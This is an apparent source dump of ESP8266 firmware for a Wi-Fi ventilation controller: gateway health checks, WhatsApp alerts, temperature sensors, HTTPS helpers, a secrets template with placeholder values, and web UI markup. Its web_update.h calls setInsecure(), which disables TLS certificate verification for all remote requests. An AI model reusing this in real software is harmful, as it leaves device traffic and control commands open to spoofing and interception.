responding."; } msg += " Please reset/replug the gateway!"; sendAlert(msg, false, false); health.lastDiffReported = now; } #endif // try to reset the OTGW, however at most once per 5 minutes delta = now - health.lastGWReset; if (delta > 5 * 60 * 1000) { resetOTGW(); health.lastGWReset = now; #ifdef WITH_WEB_CALLS // report at most once per hour delta = now - health.lastGWResetReported; if (0 == health.lastGWResetReported || delta > 3600 * 1000) { sendAlert("Tried to restart the OpenTherm Gateway", true, false); health.lastGWResetReported = now; } #endif } } } else { health.ventDiffStarted = 0; health.isResponsive = true; } if (health.isResponsive && !health.wasResponsive) { unsigned long delta = millis() - health.lastRecoveryReported; if (delta > 5 * 60 * 1000) { #ifdef WITH_WEB_CALLS sendAlert("Ventilation recovered and seems to be responsive again.", false, false); #endif health.lastRecoveryReported = millis(); } } //serialEvent(); server.handleClient(); #ifdef WITH_OTA ArduinoOTA.handle(); #endif #ifdef WITH_DALLAS_TEMP_SENSORS if (!temperaturesRequested || 0 == health.loopIterations % (500 * 1000)) { dbg("CALLING handleSensors()"); handleSensors(); } #endif if (stringComplete) { //dbg(String("loop: stringComplete, inputString='") + inputString + "'"); inputString.trim(); state.lastMsg.serial = millis(); state.messages.serial++; //String rc = onOTGWMessage(inputString, true); //dbg(String("loop: onOTGWMessage: rc: ") + rc); inputString = ""; stringComplete = false; } handleHeartbeat(); #ifdef WITH_WEB_CALLS handleWebUpdate(false); #endif #ifdef ESP8266 if (rebootScheduledAfterSetup > -1 && (unsigned long)rebootScheduledAfterSetup > millis()) { rebootScheduledAfterSetup = -1; dbgln("*********** REBOOT **********"); delay(100); ESP.reset(); delay(10000); } #endif health.loopIterations++; } #ifdef WITH_DALLAS_TEMP_SENSORS String toString(DeviceAddress& a) { String rtv; for (unsigned int i = 0; i < sizeof(a) / sizeof(a[0]); i++) { if (i) rtv += ":"; if (a[i] < 0x10) rtv += "0"; rtv += String(a[i], HEX); } return rtv; } /* // function to print a device's resolution void printResolution(DeviceAddress deviceAddress) { Serial.print("Resolution: "); Serial.print(sensors.getResolution(deviceAddress)); Serial.println(); } */ // function to print the temperature for a device void printTemperature(DeviceAddress deviceAddress) { float tempC = sensors.getTempC(deviceAddress); dbg("Temp C: "); dbg(tempC); } void handleSensors() { //dbgln("handleSensors"); if (!temperaturesRequested) { sensors.requestTemperatures(); temperaturesRequested = true; } state.lastMeasure = millis(); //dbgln("handleSensors: reading ts"); for (int i = 0; i < state.sensorsFound; i++) { //dbg("sensors.getTempCByIndex("); dbg(i); dbgln(")"); float t = sensors.getTempCByIndex(i); //dbg("t="); dbgln((int)(100*t)); state.extraTemps[i] = 100 * t; } sensors.requestTemperatures(); temperaturesRequested = true; //dbgln("handleSensors done"); } void setupSensors() { //dbgln("setupSensors"); // Start up the library sensors.begin(); sensors.setResolution(11); // locate devices on the bus //dbg("locating devices..."); state.sensorsFound = sensors.getDeviceCount(); //dbg("found "); dbg(state.sensorsFound); dbgln(" sensors."); // report parasite power requirements //dbg("parasite power: "); //if (sensors.isParasitePowerMode()) dbgln("ON"); else dbgln("OFF"); } #endif <file_sep>/web_update.h #include "secrets.h" WiFiClientSecure client; unsigned long lastConnectionSuccess = 0; #define MAX_LENGTH 256 void hw_wdt_disable(){ *((volatile uint32_t*) 0x60000900) &= ~(1); // Hardware WDT OFF } void hw_wdt_enable(){ *((volatile uint32_t*) 0x60000900) |= 1; // Hardware WDT ON } boolean responseBodyComplete(const String& body) { dbgln(String("responseBodyComplete: '") + body + "'"); if (body.length() > MAX_LENGTH) { // avoid memory overflow dbgln("COMPLETE (size)"); return true; } // Google script if (body.indexOf("ResultCode:") > 0) { dbgln("COMPLETE (alert)"); return true; } // callbot API: if (body.indexOf("Message to") >= 0) { dbgln("COMPLETE (callmebot)"); return true; } if (body.indexOf("ventLevel=") >= 0 && body.indexOf("lastCheck=") >= 0) { dbgln("COMPLETE (gscript)"); return true; } dbgln("NOT COMPLETE"); checkMemory(); return false; } String extractHost(String url) { String httpsProto = "https://"; if (url.startsWith(httpsProto)) { url = url.substring(httpsProto.length()); int slashPos = url.indexOf("/"); if (slashPos >= 0) { return url.substring(0, slashPos); } } return ""; } String extractPath(String url) { String httpsProto = "https://"; if (url.startsWith(httpsProto)) { url = url.substring(httpsProto.length()); int slashPos = url.indexOf("/"); if (slashPos >= 0) { return url.substring(slashPos); } return "/"; } return ""; } /* Starting with the URL as defined by "web_url", return the response body folling at most one redirection if necessary. */ String webGet(String url, String params, boolean ignoreBody) { //long startTime = millis(); dbgln(String("getWebPage: params=") + params); client.setInsecure(); //client.setHandshakeTimeout(seconds); String host = extractHost(url); String path = extractPath(url); #ifdef ESP8266 ESP.wdtDisable() ; #endif dbgln(String("Connecting to '") + host + "'"); unsigned long t0 = millis(); bool connected = client.connect(host, 443); unsigned long t1 = millis(); checkMemory(); #ifdef ESP8266 ESP.wdtEnable(5000); #endif dbgln(String("Connected to '") + host + "' in " + (t1 - t0) + " ms"); if (!connected) { dbgln("Connection failed!"); return ""; } dbgln("Connected!"); lastConnectionSuccess = millis(); client.setTimeout(30 * 1000); //String getLine = String("GET /macros/s/") + google_key + "/exec" + (params.length()>0 ? "?" : "") + params + " HTTP/1.0\r\n"; String pathLine = String("GET " ) + path + (params.length() > 0 ? "?" : "") + params + " HTTP/1.0\r\n"; String hostLine = String("Host: ") + host + "\r\n"; dbg(pathLine); dbg(hostLine); client.print(pathLine); client.print(hostLine); client.print("Connection: close\r\n"); client.print("Accept: */*\r\n\r\n"); String redirURL; // While reading response headers, check for "Location:" while (client.connected()) { String line = client.readStringUntil('\n'); dbgln(line); if (line == "\r" || line == "") break; // End of response headers if (line.indexOf("Location") >= 0) { // Redirect location found redirURL = line.substring(line.indexOf(":") + 2) ; redirURL.trim(); } } checkMemory(); // When there was no redirection return this response body if (redirURL.length() < 1) { if (ignoreBody) { dbg("Ignoring response body as requested"); client.stop(); return ""; } String responseBody = ""; while (client.connected()) { if (client.available()) { String line = client.readStringUntil('\n'); dbgln(line); responseBody += line; responseBody += '\n'; if (responseBodyComplete(responseBody)) { break; } } } client.stop(); return responseBody; } checkMemory(); client.stop(); //dbgln("Redirect: '" + redirURL + "'"); host = extractHost(redirURL); path = extractPath(redirURL); pathLine = "GET " + path + " HTTP/1.0\r\n"; hostLine = "Host: " + host + "\r\n"; #ifdef ESP8266 ESP.wdtDisable() ; #endif dbgln(String("Connecting to '") + host + "'"); t0 = millis(); connected = client.connect(host, 443); t1 = millis(); #ifdef ESP8266 ESP.wdtEnable(5000); #endif //dbgln(String("Connected to '") + host + "' in " + (t1 - t0) + " ms"); if (!connected) { dbgln("Redirection failed!"); return ""; } dbgln("Connected!"); client.setTimeout(2 * 1000); checkMemory(); dbg(pathLine); dbg(hostLine); client.print(pathLine); client.print(hostLine); client.print("Connection: close\r\n"); client.print("Accept: */*\r\n\r\n"); while (client.connected()) { // receive headers String line = client.readStringUntil('\n'); dbgln(line); if (line == "\r" || line == "") break; } checkMemory(); if (ignoreBody) { //dbg("Ignoring (redirect) response body as requested"); client.stop(); return ""; } String responseBody = ""; while (client.connected()) { // read reponse body if (client.available()) { String line = client.readStringUntil('\n'); responseBody += line; responseBody += '\n'; if (responseBodyComplete(responseBody)) { dbgln("** COMPLETE **"); break; } } } checkMemory(); client.stop(); //unsigned long duration = millis() - startTime; //dbgln(String("getWebPage: responseBody: '") + responseBody + "'"); //dbgln(String("getWebPage: duration: ") + duration + " ms"); return responseBody; } String createStatusJson(); String webPost(String url, boolean ignoreBody) { //long startTime = millis(); //dbgln(String("webPost: startTime=") + startTime); client.setInsecure(); //client.setHandshakeTimeout(seconds); String pathLine = extractPath(url); String hostLine = extractHost(url); dbgln(String("Connect to '") + hostLine + "'"); #ifdef ESP8266 ESP.wdtDisable() ; //hw_wdt_disable(); #endif bool connected = client.connect(hostLine, 443); #ifdef ESP8266 ESP.wdtEnable(5000); //hw_wdt_enable(); #endif if (!connected) { dbgln("Connection failed!"); return ""; } //dbgln("Connected!"); checkMemory(); lastConnectionSuccess = millis(); client.setTimeout(30 * 1000); String postData = createStatusJson(); pathLine = String("POST " ) + pathLine + " HTTP/1.0\r\n"; hostLine = String("Host: ") + hostLine + "\r\n"; dbg(pathLine); dbg(hostLine); client.print(pathLine); client.print(hostLine); client.print(String("Content-Length: ") + postData.length() + "\r\n"); client.print("Content-Type: application/json\r\n"); client.print("Connection: close\r\n"); client.print("Accept: */*\r\n\r\n"); client.print(postData); postData.clear(); // free heap asap pathLine.clear(); hostLine.clear(); checkMemory(); String redirURL; // While reading response headers, check for "Location:" while (client.connected()) { String line = client.readStringUntil('\n'); dbgln(line); if (line == "\r" || line == "") break; // End of response headers if (line.indexOf("Location") >= 0) { // Redirect location found redirURL = line.substring(line.indexOf(":") + 2) ; redirURL.trim(); } } checkMemory(); // When there was no redirection return this response body if (redirURL.length() < 1) { if (ignoreBody) { dbg("Ignore resp body"); client.stop(); return ""; } String responseBody = ""; while (client.connected()) { if (client.available()) { String line = client.readStringUntil('\n'); dbgln(line); responseBody += line; responseBody += '\n'; if (responseBodyComplete(responseBody)) { break; } } } checkMemory(); client.stop(); return responseBody; } checkMemory(); client.stop(); //dbgln("Redirect: '" + redirURL + "'"); hostLine = extractHost(redirURL); pathLine = extractPath(redirURL); dbgln(String("Connect to '") + hostLine + "'"); #ifdef ESP8266 ESP.wdtDisable() ; //hw_wdt_disable(); #endif connected = client.connect(hostLine, 443); #ifdef ESP8266 ESP.wdtEnable(5000); //hw_wdt_enable(); #endif if (!connected) { dbgln("Redirection failed!"); return ""; } //dbgln("Connected!"); client.setTimeout(2 * 1000); checkMemory(); pathLine = "GET " + pathLine + " HTTP/1.0\r\n"; hostLine = "Host: " + hostLine + "\r\n"; dbg(pathLine); dbg(hostLine); client.print(pathLine); client.print(hostLine); client.print("Connection: close\r\n"); client.print("Accept: */*\r\n\r\n"); while (client.connected()) { // receive headers String line = client.readStringUntil('\n'); dbgln(line); if (line == "\r" || line == "") break; } checkMemory(); if (ignoreBody) { //dbg("Ignoring (redirect) response body as requested"); checkMemory(); client.stop(); return ""; } String responseBody = ""; while (client.connected()) { // read reponse body if (client.available()) { String line = client.readStringUntil('\n'); responseBody += line; responseBody += '\n'; if (responseBodyComplete(responseBody)) { dbgln("** COMPLETE **"); break; } } } checkMemory(); client.stop(); //unsigned long duration = millis() - startTime; //dbgln(String("webPostJson: responseBody: '") + responseBody + "'"); //dbgln(String("webPostJson: duration: ") + duration + " ms"); return responseBody; } <file_sep>/favicon.ico.h //unsigned char resources_favicon_ico[] = { 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x10, 0x10, 0x00, 0x00, 0x01, 0x00, 0x08, 0x00, 0x68, 0x05, 0x00, 0x00, 0x16, 0x00, 0x00, 0x00, 0x28, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x01, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe6, 0xb7, 0x48, 0x00, 0xe2, 0xd1, 0x8c, 0x00, 0xf8, 0xf9, 0xf0, 0x00, 0xef, 0xcf, 0x86, 0x00, 0xcf, 0x99, 0x02, 0x00, 0xdb, 0xac, 0x31, 0x00, 0xcb, 0x97, 0x17, 0x00, 0xd9, 0x96, 0x02, 0x00, 0xfd, 0xfc, 0xf9, 0x00, 0xd9, 0x99, 0x02, 0x00, 0xdd, 0xc8, 0x72, 0x00, 0xfc, 0xfe, 0xff, 0x00, 0xff, 0xfd, 0xfc, 0x00, 0xe5, 0xc4, 0x6f, 0x00, 0xe3, 0x9c, 0x02, 0x00, 0xf6, 0xf8, 0xe5, 0x00, 0xf6, 0xe1, 0xb3, 0x00, 0xfb, 0xf9, 0xfa, 0x00, 0xfd, 0xfe, 0xf7, 0x00, 0xd6, 0x9a, 0x06, 0x00, 0xdc, 0x95, 0x00, 0x00, 0xfd, 0xff, 0xfa, 0x00, 0xff, 0xfe, 0xf7, 0x00, 0xfe, 0xff, 0xfa, 0x00, 0xd9, 0x9c, 0x03, 0x00, 0xfe, 0xfd, 0xfd, 0x00, 0xff, 0xff, 0xfa, 0x00, 0xdc, 0x9c, 0x03, 0x00, 0xdd, 0x9c, 0x03, 0x00, 0xe2, 0x99, 0x03, 0x00, 0xe0, 0x9c, 0x03, 0x00, 0xe0, 0xa1, 0x09, 0x00, 0xe2, 0xb8, 0x44, 0x00, 0xed, 0xe2, 0xb7, 0x00, 0xe4, 0x9c, 0x1e, 0x00, 0xfc, 0xf8, 0xe6, 0x00, 0xd9, 0xa9, 0x33, 0x00, 0xf7, 0xf9, 0xfb, 0x00, 0xd1, 0x99, 0x04, 0x00, 0xf6, 0xfd, 0xfe, 0x00, 0xfc, 0xf9, 0xfb, 0x00, 0xd9, 0x98, 0x01, 0x00, 0xdd, 0xac, 0x3c, 0x00, 0xfc, 0xfd, 0xfe, 0x00, 0xda, 0x9b, 0x01, 0x00, 0xfd, 0xff, 0xfb, 0x00, 0xd9, 0x9e, 0x01, 0x00, 0xea, 0xa9, 0x2a, 0x00, 0xda, 0x9c, 0x04, 0x00, 0xdc, 0x9e, 0x01, 0x00, 0xe8, 0xc4, 0x71, 0x00, 0xe1, 0x99, 0x04, 0x00, 0xdd, 0xa4, 0x01, 0x00, 0xe3, 0x99, 0x04, 0x00, 0xde, 0x9c, 0x0d, 0x00, 0xf8, 0xe9, 0xde, 0x00, 0xe5, 0x97, 0x07, 0x00, 0xdc, 0xb9, 0x51, 0x00, 0xe4, 0x9b, 0x13, 0x00, 0xfa, 0xe4, 0xac, 0x00, 0xd2, 0x94, 0x11, 0x00, 0xd1, 0x9f, 0x05, 0x00, 0xfc, 0xfb, 0xf9, 0x00, 0xfd, 0xff, 0xf3, 0x00, 0xd8, 0x96, 0x05, 0x00, 0xfb, 0xfa, 0xff, 0x00, 0xd7, 0x9b, 0x02, 0x00, 0xd5, 0x9e, 0x02, 0x00, 0xfe, 0xfb, 0xf9, 0x00, 0xd8, 0x9b, 0x02, 0x00, 0xfc, 0xff, 0xfc, 0x00, 0xe1, 0xad, 0x37, 0x00, 0xfe, 0xfd, 0xff, 0x00, 0xfe, 0xff, 0xfc, 0x00, 0xff, 0xff, 0xfc, 0x00, 0xdc, 0x97, 0x08, 0x00, 0xe2, 0x95, 0x02, 0x00, 0xdb, 0x9f, 0x05, 0x00, 0xde, 0x9e, 0x02, 0x00, 0xe2, 0x9b, 0x02, 0x00, 0xe0, 0x9c, 0x05, 0x00, 0xf2, 0xda, 0xa1, 0x00, 0xe4, 0x9b, 0x02, 0x00, 0xdf, 0x9c, 0x0e, 0x00, 0xed, 0xd3, 0x7b, 0x00, 0xd3, 0x8f, 0x03, 0x00, 0xf9, 0xdc, 0xb9, 0x00, 0xf8, 0xfb, 0xf1, 0x00, 0xf4, 0xe6, 0xbc, 0x00, 0xf8, 0xf6, 0xfd, 0x00, 0xe9, 0xd4, 0x99, 0x00, 0xda, 0x95, 0x03, 0x00, 0xd8, 0x9a, 0x00, 0x00, 0xf9, 0xff, 0xfd, 0x00, 0xfe, 0xfd, 0xf7, 0x00, 0xd9, 0x9a, 0x00, 0x00, 0xdc, 0x95, 0x03, 0x00, 0xf8, 0xeb, 0xc2, 0x00, 0xfe, 0xfc, 0xfd, 0x00, 0xff, 0xfe, 0xfa, 0x00, 0xff, 0xff, 0xfd, 0x00, 0xdc, 0x9c, 0x06, 0x00, 0xe0, 0x9b, 0x03, 0x00, 0xe4, 0x96, 0x06, 0x00, 0xdb, 0xa1, 0x0c, 0x00, 0xe5, 0x9d, 0x00, 0x00, 0xe7, 0xc8, 0x7f, 0x00, 0xe7, 0x9a, 0x09, 0x00, 0xea, 0xa3, 0x09, 0x00, 0xf8, 0xfa, 0xf8, 0x00, 0xf8, 0xff, 0xf5, 0x00, 0xd4, 0x96, 0x07, 0x00, 0xd4, 0x9a, 0x01, 0x00, 0xf7, 0xfc, 0xfe, 0x00, 0xff, 0xf8, 0xf2, 0x00, 0xef, 0xd4, 0x91, 0x00, 0xf8, 0xff, 0xfe, 0x00, 0xfd, 0xfb, 0xfb, 0x00, 0xfb, 0xfc, 0xfe, 0x00, 0xdb, 0x95, 0x04, 0x00, 0xd9, 0x9a, 0x01, 0x00, 0xfe, 0xfd, 0xf8, 0x00, 0xff, 0xfe, 0xfb, 0x00, 0xdc, 0x98, 0x04, 0x00, 0xff, 0xfc, 0xfe, 0x00, 0xfd, 0xff, 0xfe, 0x00, 0xfe, 0xff, 0xfe, 0x00, 0xff, 0xff, 0xfe, 0x00, 0xda, 0x98, 0x0d, 0x00, 0xe0, 0x9a, 0x01, 0x00, 0xde, 0x9d, 0x01, 0x00, 0xe7, 0xc0, 0x7a, 0x00, 0xd5, 0x98, 0x1f, 0x00, 0xe1, 0x9a, 0x01, 0x00, 0xde, 0xa0, 0x01, 0x00, 0xdf, 0x9c, 0x07, 0x00, 0xde, 0xa1, 0x04, 0x00, 0xdf, 0x9f, 0x07, 0x00, 0xe4, 0x9b, 0x04, 0x00, 0xeb, 0xce, 0x89, 0x00, 0xf0, 0xcb, 0x89, 0x00, 0xd2, 0x97, 0x02, 0x00, 0xd0, 0x9d, 0x02, 0x00, 0xfb, 0xfd, 0xf9, 0x00, 0xfb, 0xf9, 0xff, 0x00, 0xe0, 0xab, 0x34, 0x00, 0xfb, 0xfc, 0xff, 0x00, 0xde, 0x94, 0x02, 0x00, 0xfc, 0xff, 0xff, 0x00, 0xda, 0x9b, 0x05, 0x00, 0xdc, 0x9b, 0x05, 0x00, 0xde, 0x9a, 0x02, 0x00, 0xff, 0xff, 0xff, 0x00, 0xd7, 0xa2, 0x08, 0x00, 0xdf, 0x9a, 0x02, 0x00, 0xdb, 0x99, 0x11, 0x00, 0xe0, 0x9d, 0x02, 0x00, 0xe0, 0x9c, 0x08, 0x00, 0xe4, 0xa1, 0x05, 0x00, 0xef, 0xe3, 0xad, 0x00, 0xda, 0x9f, 0x23, 0x00, 0xdd, 0xa0, 0x1d, 0x00, 0xdd, 0xa2, 0x23, 0x00, 0xef, 0x9c, 0x08, 0x00, 0xd0, 0x99, 0x00, 0x00, 0xfa, 0xf8, 0xf4, 0x00, 0xd2, 0x99, 0x00, 0x00, 0xf6, 0xfb, 0xfd, 0x00, 0xfc, 0xfa, 0xfa, 0x00, 0xda, 0x94, 0x03, 0x00, 0xfa, 0xfe, 0xfd, 0x00, 0xfe, 0xff, 0xf7, 0x00, 0xd8, 0x9b, 0x06, 0x00, 0xfd, 0xfe, 0xfd, 0x00, 0xff, 0xff, 0xf7, 0x00, 0xd8, 0x9d, 0x03, 0x00, 0xdb, 0x9a, 0x03, 0x00, 0xda, 0x9f, 0x00, 0x00, 0xdc, 0x9c, 0x00, 0x00, 0xff, 0xfe, 0xfd, 0x00, 0xdb, 0x9e, 0x06, 0x00, 0xde, 0x9d, 0x03, 0x00, 0xe4, 0x9c, 0x00, 0x00, 0xe2, 0x9f, 0x00, 0x00, 0xe2, 0xa0, 0x03, 0x00, 0xe6, 0xa2, 0x00, 0x00, 0xf7, 0xf0, 0xe6, 0x00, 0xdd, 0xa2, 0x24, 0x00, 0xfd, 0xf4, 0xe9, 0x00, 0xe5, 0xa7, 0x21, 0x00, 0xf7, 0xfe, 0xfe, 0x00, 0xfd, 0xf7, 0xfb, 0x00, 0xfb, 0xfb, 0xfe, 0x00, 0xfb, 0xfd, 0xfb, 0x00, 0xd8, 0x9c, 0x01, 0x00, 0xff, 0xfc, 0xf8, 0x00, 0xff, 0xff, 0xf8, 0x00, 0xfe, 0xfe, 0xfe, 0x00, 0xdb, 0x9c, 0x01, 0x00, 0xff, 0xfe, 0xfe, 0x00, 0xdd, 0x9c, 0x01, 0x00, 0xde, 0x9a, 0x04, 0x00, 0xe1, 0x95, 0x07, 0x00, 0xd9, 0xa1, 0x07, 0x00, 0xf5, 0xef, 0xd2, 0x00, 0xde, 0x9d, 0x04, 0x00, 0xe2, 0x9c, 0x01, 0x00, 0xe3, 0x98, 0x07, 0x00, 0xd9, 0x9b, 0x22, 0x00, 0xfd, 0xf1, 0xcf, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x98, 0x98, 0x98, 0x98, 0x98, 0x98, 0x98, 0x98, 0x98, 0x98, 0x98, 0x98, 0x98, 0x98, 0x98, 0x98, 0xaa, 0x7e, 0x7f, 0x2b, 0x4a, 0x1a, 0x7d, 0x98, 0xc7, 0x64, 0x7f, 0x94, 0x48, 0x98, 0x7e, 0x98, 0x75, 0x7a, 0x3f, 0x05, 0x36, 0x6c, 0x0d, 0x28, 0x6e, 0xba, 0xbb, 0xd0, 0x3b, 0x5e, 0x12, 0x98, 0x15, 0x59, 0x9b, 0xa4, 0xb8, 0x38, 0x77, 0x5a, 0x63, 0xa2, 0x3d, 0xa3, 0x68, 0x39, 0x17, 0x98, 0x1a, 0x20, 0x30, 0x4e, 0x09, 0x2e, 0xc2, 0x40, 0xc5, 0xbd, 0x50, 0xb1, 0x4f, 0x13, 0xbc, 0x98, 0x11, 0x78, 0x86, 0xb6, 0xac, 0x8a, 0x29, 0x4c, 0x6d, 0x91, 0xb0, 0x18, 0x04, 0x95, 0x32, 0x98, 0x46, 0x03, 0x97, 0xc6, 0x9a, 0xb9, 0x4b, 0x66, 0x7d, 0x7b, 0x5f, 0x81, 0xb2, 0x95, 0x8b, 0x98, 0x48, 0xc7, 0x23, 0x37, 0x62, 0x51, 0x14, 0x5b, 0x06, 0xb4, 0x6b, 0x45, 0xcb, 0x53, 0x2d, 0x98, 0xb3, 0x7c, 0x0c, 0x01, 0x47, 0x2a, 0xcf, 0x02, 0x8c, 0x99, 0xa9, 0x1f, 0x83, 0x08, 0x3e, 0x98, 0xa7, 0xd1, 0x3c, 0x69, 0x26, 0x1b, 0x1e, 0x2f, 0x70, 0x6a, 0x44, 0xc4, 0xa5, 0xbe, 0x41, 0x98, 0x49, 0x6f, 0x67, 0x89, 0x85, 0x8e, 0xa0, 0x54, 0x34, 0x4d, 0x43, 0x3a, 0x5c, 0x22, 0x0b, 0x98, 0x5d, 0xa6, 0x0e, 0x07, 0x97, 0x9e, 0x9f, 0x0a, 0x31, 0x52, 0xc8, 0x42, 0x60, 0xce, 0x10, 0x98, 0x46, 0xa1, 0x96, 0x88, 0xb5, 0x9d, 0x56, 0x58, 0x1c, 0xcd, 0x2c, 0xc9, 0x1d, 0xaf, 0xcc, 0x98, 0xae, 0x72, 0x8d, 0x93, 0x97, 0x9c, 0x73, 0xc0, 0x55, 0xb7, 0x65, 0x31, 0x87, 0x24, 0x8f, 0x98, 0x79, 0x25, 0x57, 0xca, 0x82, 0x84, 0xab, 0xad, 0x61, 0x33, 0x80, 0x35, 0x00, 0x90, 0x19, 0x98, 0x21, 0xbf, 0x16, 0x71, 0xc3, 0x27, 0x92, 0xa8, 0x48, 0x71, 0x0f, 0x76, 0x1a, 0x74, 0xc1, 0x98, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; //unsigned int resources_favicon_ico_len = 1406; <file_sep>/manifest.json.h R"=====( {"name":"VitoWifi", "icons":[{ "src":"fan.png", "sizes":"72x72", "type":"image/png", "density":1.0}], "start_url":"index.html", "display":"standalone", "orientation":"portrait"} )=====" <file_sep>/secrets.h #ifndef SECRETS_H #define SECRETS_H #define NETWORK "your_ssid" #define PASSWORD "<PASSWORD>" // This is just an example of a URL that is supposed to return the desired ventilation level. // In my case, this is a google script that connects to Netato API anc computes this level. // When requested, the script will return a plain text document with a "ventLevl=X" on a single line. // When your requirements differ, make sure to change the conditions in the function "responseBodyComplete". const char * UPDATE_URL = "https://script.google.com/macros/s/your_google_key/exec"; // An URL that gets called in case of alerts. const char * ALERT_URL = "https://api.callmebot.com/whatsapp.php?phone=your_number&apikey=aabbcc&text="; // Send maintenance messages (e.g. check filter, reset gateway) also to this number const char * MAINTENANCE_URL = "https://api.callmebot.com/whatsapp.php?phone=your_wifes_number&apikey=xxyyzz&text="; #endif <file_sep>/index.html.h R"=====(<?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE html PUBLIC "-//WAPFORUM//DTD XHTML Mobile 1.0//EN" "http://www.wapforum.org/DTD/xhtml-mobile10.dtd"> <html> <head> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"> <!-- https://developer.chrome.com/multidevice/android/installtohomescreen --> <meta charset='utf-8'> <!-- link rel="manifest" href="manifest.json" --> <meta name="viewport" content="width=device-width"> <meta name="mobile-web-app-capable" content="yes"> <!-- link rel="icon" sizes="192x192" href="homeicon.png" --> <title>Ventilation Control</title> <style> body{font-family:Arial; background:-webkit-radial-gradient(center,circle,rgba(255,255,255,.35),rgba(255,255,255,0) 20%,rgba(255,255,255,0) 21%),-webkit-radial-gradient(center,circle,rgba(0,0,0,.2),rgba(0,0,0,0) 20%,rgba(0,0,0,0) 21%),-webkit-radial-gradient(center,circle farthest-corner,#f0f0f0,#c0c0c0); background-size:10px 10px,10px 10px,100% 100%; background-position:1px 1px,0px 0px,centercenter;} .wid{ background-color:rgba(160,160,180,1);margin:1ex;padding:1ex; // box-shadow: // inset #000 0px 0px 10px, // #555 4px 4px 10px; //border-radius:1ex; } .r{text-align:right;} .c{text-align:center;} .rd{color: red;} //.t{text-shadow: // 0px -1px rgba(0,0,0,0.5), // 0px 1px 0px rgba(255,255,255,.5); // color:#666} </style> <script> // relative fan level to power consumption function fl2pwatts(l) { return l<0 ? '?' : (9.1510341510342E-06*l*l*l + 0.001189874939875*l*l + 0.200440115440116*l + 5.99999999999999).toFixed(1); } function createRequest(){return window.XMLHttpRequest?new XMLHttpRequest():new ActiveXObject("Microsoft.XMLHTTP");} function g(i){return document.getElementById(i);} function tc(i,v){try{document.getElementById(i).textContent=v;}catch(e){}} function l(x){try{console.log(x);}catch(e){}} function ajax(url,succFunc,failFunc,data) { var r=window.XMLHttpRequest?new XMLHttpRequest():new ActiveXObject("Microsoft.XMLHTTP"); r.onreadystatechange=function(){ if(r.readyState==XMLHttpRequest.DONE){ var j; //l('resp: '+r.status+' '+r.responseText); if(200==r.status){ if (!r.responseText) { hide(); return failFunc(data,r.status,'Empty response from '+url,''); } try { j=JSON.parse(r.responseText); } catch(e){ l('INVALID:'+r.responseText); hide(); return failFunc(data,r.status,'Invalid json data from '+url, ''); } if (j&&"1"==j['ok']) { hide(); return succFunc(data,j); } }else if (0==r.status){ hide(); return failFunc(data,r.status,'Failed to receive ajax response from '+url, ''); } hide(); return failFunc(data,r.status,r.responseText,j); } } //l('ajax: '+url); try{r.open("GET",url,true);r.send();}catch(e){ //var j=JSON.parse(JSON_STR); //succFunc(data,j); failFunc(data,-1,'Unable to send ajax request to'+url, e); } } function assign(k,v){ if(v.constructor==String||v.constructor==Number){ //log(k+'='+v); if (k=='vent.relative') { g(k).style.width=v+'%'; tc(k,v+'%'); }else if(k=='vent.set'||k=='vent.override'||k=='vent.web'){ for (var i=0;i<4;i++) { tc(k+i,i==v?"▉":""); } }else if(k.startsWith("tsps")){ try { //log("setting color on " + k); g(k).style.color=(v==-1)?"#999":"#000"; } catch (e) { //log(e); } tc(k,v); } else { tc(k,v); } }else if(v.constructor==Array){ assign(k+'.len',v.length); for(var i=0;i<v.length;i++) assign(k+i,v[i]); 